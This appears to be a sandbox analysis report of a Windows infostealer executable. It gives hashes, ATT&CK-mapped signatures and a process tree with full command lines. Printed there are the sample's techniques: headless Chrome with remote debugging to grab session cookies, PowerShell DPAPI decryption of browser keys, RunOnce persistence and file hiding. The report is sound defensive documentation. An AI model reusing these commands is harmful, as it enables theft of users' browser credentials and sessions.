3a110b2b086cb1543b1f0c77e8f49f0f4e76f60e78eead449aa5a93fb4f86979

Analysis

max time kernel
16s
max time network
37s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 15:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mvzex4zk-ea1ad96ed56f.exe
Size 66.0MB
Sample261102-sx4rhsa15z
SHA256 3a110b2b086cb1543b1f0c77e8f49f0f4e76f60e78eead449aa5a93fb4f86979
MD5 52958a5be21fcfa3e2428fc4591ccf64
SHA1 d105e281f3aebc733d704c05655a0d2764d0ca9f
SHA512 783cab597ffb1062af15fbbacce036df28b40a4a0e1bd72a2350fa13619e53113b870f01efed5eafef6dff2980e83f0725e7802bae8100f756a44f6940d619a3
SSDEEP 1572864:WgqTV3taxm3jWczZ5mJlfbewNaIAmzkP7:WTV3tagj1zZ5mJBxNZAqS7
TLSH
T154E73313F2EACE1FD4A57BFA54AB00078FC56743162653F9E11E426D2890A4FF899CB1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Uses browser remote debugging 2 TTPs 20 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3376	chrome.exe
3724	msedge.exe
6228	msedge.exe
5476	chrome.exe
4320	chrome.exe
1740	chrome.exe
5772	msedge.exe
2588	msedge.exe
5504	msedge.exe
2852	chrome.exe
3024	chrome.exe
6056	chrome.exe
5700	chrome.exe
5952	msedge.exe
4864	msedge.exe
5884	chrome.exe
7076	chrome.exe
3536	chrome.exe
1776	chrome.exe
2424	chrome.exe

Executes dropped EXE 3 IoCs

pid	Process
3880	asd.exe
4216	asd.exe
4768	asd.exe

Loads dropped DLL 12 IoCs

pid	Process
4552	mvzex4zk-ea1ad96ed56f.exe
4552	mvzex4zk-ea1ad96ed56f.exe
4552	mvzex4zk-ea1ad96ed56f.exe
3880	asd.exe
3880	asd.exe
4216	asd.exe
4768	asd.exe
4216	asd.exe
4216	asd.exe
4216	asd.exe
4216	asd.exe
4216	asd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\asd = "wscript.exe \"C:\\ProgramData\\Update.vbs\""	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
87	discord.com
88	discord.com
90	discord.com
107	discord.com
118	discord.com
1	discord.com
10	discord.com
23	discord.com

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
1	ip-api.com
3	api.ipify.org

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
5312	cmd.exe
2908	cmd.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5324	cmd.exe

Queries registry keys for unique system GUIDs 1 TTPs 1 IoCs

Queries the MachineGuid or HwProfileGuid value from the command line, commonly used to create a unique victim ID.

discovery

System Information Discovery

T1082

pid	Process
2352	reg.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5688	cmd.exe
5908	cmd.exe
5312	cmd.exe
2908	cmd.exe
3592	cmd.exe
4292	cmd.exe
4940	cmd.exe
4788	cmd.exe
4884	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	asd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	asd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	asd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	asd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mvzex4zk-ea1ad96ed56f.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3792	chrome.exe
5704	chrome.exe
3132	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
4592	taskkill.exe
2008	taskkill.exe
3908	taskkill.exe
4608	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5884	chrome.exe
5884	chrome.exe
4144	powershell.exe
4144	powershell.exe
4144	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
5884	chrome.exe
5884	chrome.exe
5884	chrome.exe
5884	chrome.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeSecurityPrivilege	4552	mvzex4zk-ea1ad96ed56f.exe
Token: SeDebugPrivilege	2008	taskkill.exe
Token: SeShutdownPrivilege	3880	asd.exe
Token: SeCreatePagefilePrivilege	3880	asd.exe
Token: SeShutdownPrivilege	5884	chrome.exe
Token: SeCreatePagefilePrivilege	5884	chrome.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeShutdownPrivilege	3880	asd.exe
Token: SeCreatePagefilePrivilege	3880	asd.exe
Token: SeShutdownPrivilege	5884	chrome.exe
Token: SeCreatePagefilePrivilege	5884	chrome.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5884	chrome.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4552 wrote to memory of 3880	4552	mvzex4zk-ea1ad96ed56f.exe	91
PID 3880 wrote to memory of 4940	3880	asd.exe	92
PID 4940 wrote to memory of 2008	4940	cmd.exe	94
PID 3880 wrote to memory of 5884	3880	asd.exe	96
PID 5884 wrote to memory of 2076	5884	chrome.exe	97
PID 3880 wrote to memory of 4788	3880	asd.exe	98
PID 4788 wrote to memory of 2352	4788	cmd.exe	100
PID 3880 wrote to memory of 5324	3880	asd.exe	101
PID 3880 wrote to memory of 5688	3880	asd.exe	102
PID 3880 wrote to memory of 4884	3880	asd.exe	103
PID 3880 wrote to memory of 4216	3880	asd.exe	107
PID 3880 wrote to memory of 4216	3880	asd.exe	107
PID 3880 wrote to memory of 4768	3880	asd.exe	108
PID 5324 wrote to memory of 5328	5324	cmd.exe	109
PID 5884 wrote to memory of 1092	5884	chrome.exe	110
PID 5884 wrote to memory of 3792	5884	chrome.exe	111
PID 5884 wrote to memory of 1092	5884	chrome.exe	110
PID 5884 wrote to memory of 5532	5884	chrome.exe	112
PID 5884 wrote to memory of 5532	5884	chrome.exe	112
PID 5884 wrote to memory of 3536	5884	chrome.exe	114
PID 5884 wrote to memory of 5476	5884	chrome.exe	115
PID 5884 wrote to memory of 3536	5884	chrome.exe	114
PID 5884 wrote to memory of 5476	5884	chrome.exe	115
PID 5884 wrote to memory of 2852	5884	chrome.exe	116
PID 5884 wrote to memory of 2852	5884	chrome.exe	116
PID 5688 wrote to memory of 4944	5688	cmd.exe	117
PID 4884 wrote to memory of 2272	4884	cmd.exe	118
PID 5884 wrote to memory of 4748	5884	chrome.exe	119
PID 5884 wrote to memory of 4748	5884	chrome.exe	119
PID 3880 wrote to memory of 5312	3880	asd.exe	121
PID 5312 wrote to memory of 4144	5312	cmd.exe	123
PID 5884 wrote to memory of 1776	5884	chrome.exe	124
PID 5884 wrote to memory of 1776	5884	chrome.exe	124

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5328	attrib.exe

C:\Users\Admin\AppData\Local\Temp\mvzex4zk-ea1ad96ed56f.exe
"C:\Users\Admin\AppData\Local\Temp\mvzex4zk-ea1ad96ed56f.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4552
- C:\Users\Admin\AppData\Local\Temp\3LYa0kqfHXCshOIu4Z4hPv1ASZr\asd.exe
  C:\Users\Admin\AppData\Local\Temp\3LYa0kqfHXCshOIu4Z4hPv1ASZr\asd.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2008
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --restore-last-session --remote-debugging-port=9222 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default https://mail.google.com
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5884
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff96f8bc728,0x7ff96f8bc734,0x7ff96f8bc740
      4⤵
      PID:2076
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2368,i,1096505198153943925,14266385365867548167,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:2
      4⤵
      PID:1092
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2368,i,1096505198153943925,14266385365867548167,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:11
      4⤵
      System Time Discovery
      PID:3792
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2368,i,1096505198153943925,14266385365867548167,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:13
      4⤵
      PID:5532
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2368,i,1096505198153943925,14266385365867548167,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3536
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2368,i,1096505198153943925,14266385365867548167,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5476
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=2368,i,1096505198153943925,14266385365867548167,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3968 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2852
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2368,i,1096505198153943925,14266385365867548167,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4652 /prefetch:14
      4⤵
      PID:4748
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=2368,i,1096505198153943925,14266385365867548167,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4788
  - - C:\Windows\System32\reg.exe
      C:\Windows\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
      4⤵
      Queries registry keys for unique system GUIDs
      PID:2352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\ProgramData\Update.vbs""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5324
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\ProgramData\Update.vbs"
      4⤵
      Views/modifies file attributes
      PID:5328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "asd" /t REG_SZ /d "wscript.exe \"C:\ProgramData\Update.vbs\"" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5688
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "asd" /t REG_SZ /d "wscript.exe \"C:\ProgramData\Update.vbs\"" /f
      4⤵
      Adds Run key to start application
      PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "asd" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4884
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "asd" /f
      4⤵
      PID:2272
- - C:\Users\Admin\AppData\Local\Temp\3LYa0kqfHXCshOIu4Z4hPv1ASZr\asd.exe
    "C:\Users\Admin\AppData\Local\Temp\3LYa0kqfHXCshOIu4Z4hPv1ASZr\asd.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\asd" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1916,i,5884723855025692983,6374068378095299204,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4216
- - C:\Users\Admin\AppData\Local\Temp\3LYa0kqfHXCshOIu4Z4hPv1ASZr\asd.exe
    "C:\Users\Admin\AppData\Local\Temp\3LYa0kqfHXCshOIu4Z4hPv1ASZr\asd.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\asd" --field-trial-handle=2092,i,5884723855025692983,6374068378095299204,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2088 /prefetch:11
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    PID:4768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,56,210,78,250,97,4,65,64,176,174,61,16,159,22,117,234,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,33,224,146,226,83,55,140,117,158,58,70,106,96,150,31,175,52,217,93,236,118,129,4,111,162,57,28,245,173,177,125,132,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,68,6,20,36,99,110,50,6,153,199,228,118,233,203,243,79,226,9,176,189,237,180,1,33,121,96,201,95,93,189,246,131,48,0,0,0,90,240,5,157,59,141,181,110,138,199,61,243,38,16,5,131,43,92,165,180,215,164,211,20,110,26,67,218,22,172,242,82,206,117,69,89,117,128,215,14,189,162,15,241,116,65,66,71,64,0,0,0,241,240,144,178,207,223,190,121,106,74,113,252,150,175,106,137,20,13,208,69,27,208,29,36,133,169,92,90,102,193,18,238,76,69,209,175,114,55,249,229,238,101,58,247,253,137,200,74,242,46,244,162,153,12,134,30,235,195,159,170,196,240,69,73), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,56,210,78,250,97,4,65,64,176,174,61,16,159,22,117,234,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,33,224,146,226,83,55,140,117,158,58,70,106,96,150,31,175,52,217,93,236,118,129,4,111,162,57,28,245,173,177,125,132,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,68,6,20,36,99,110,50,6,153,199,228,118,233,203,243,79,226,9,176,189,237,180,1,33,121,96,201,95,93,189,246,131,48,0,0,0,90,240,5,157,59,141,181,110,138,199,61,243,38,16,5,131,43,92,165,180,215,164,211,20,110,26,67,218,22,172,242,82,206,117,69,89,117,128,215,14,189,162,15,241,116,65,66,71,64,0,0,0,241,240,144,178,207,223,190,121,106,74,113,252,150,175,106,137,20,13,208,69,27,208,29,36,133,169,92,90,102,193,18,238,76,69,209,175,114,55,249,229,238,101,58,247,253,137,200,74,242,46,244,162,153,12,134,30,235,195,159,170,196,240,69,73), $null, 'CurrentUser')
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,56,210,78,250,97,4,65,64,176,174,61,16,159,22,117,234,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,88,177,24,2,7,209,132,127,212,196,161,103,147,207,195,85,119,253,19,244,84,58,106,183,143,51,27,60,210,11,251,78,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,120,188,179,106,187,188,13,151,101,83,251,186,114,59,44,180,236,63,240,179,51,141,248,25,245,255,100,116,184,62,23,116,48,0,0,0,39,186,81,16,203,133,15,194,176,226,140,116,157,72,155,145,253,11,116,189,181,241,5,154,244,148,117,202,197,200,132,29,183,5,77,30,126,6,6,19,198,246,3,117,222,22,220,88,64,0,0,0,110,44,209,201,114,29,218,248,239,104,213,219,182,69,204,191,29,109,254,35,209,82,204,55,242,222,252,200,160,94,7,238,18,211,43,198,173,0,158,90,196,222,136,138,88,61,128,165,45,254,157,97,220,20,143,170,89,144,48,123,122,31,242,0), $null, 'CurrentUser')"
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Executes a command shell one-liner
    PID:2908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,56,210,78,250,97,4,65,64,176,174,61,16,159,22,117,234,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,88,177,24,2,7,209,132,127,212,196,161,103,147,207,195,85,119,253,19,244,84,58,106,183,143,51,27,60,210,11,251,78,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,120,188,179,106,187,188,13,151,101,83,251,186,114,59,44,180,236,63,240,179,51,141,248,25,245,255,100,116,184,62,23,116,48,0,0,0,39,186,81,16,203,133,15,194,176,226,140,116,157,72,155,145,253,11,116,189,181,241,5,154,244,148,117,202,197,200,132,29,183,5,77,30,126,6,6,19,198,246,3,117,222,22,220,88,64,0,0,0,110,44,209,201,114,29,218,248,239,104,213,219,182,69,204,191,29,109,254,35,209,82,204,55,242,222,252,200,160,94,7,238,18,211,43,198,173,0,158,90,196,222,136,138,88,61,128,165,45,254,157,97,220,20,143,170,89,144,48,123,122,31,242,0), $null, 'CurrentUser')
      4⤵
      PID:5180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3592
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:3908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --restore-last-session --remote-debugging-port=9223 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default https://mail.google.com
    3⤵
    - Uses browser remote debugging
    PID:3024
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff96f8bc728,0x7ff96f8bc734,0x7ff96f8bc740
      4⤵
      PID:3696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5908
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:4608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --restore-last-session --remote-debugging-port=9224 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default https://mail.google.com
    3⤵
    - Uses browser remote debugging
    PID:6056
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff977a7c728,0x7ff977a7c734,0x7ff977a7c740
      4⤵
      PID:1076
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1976 /prefetch:11
      4⤵
      System Time Discovery
      PID:5704
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
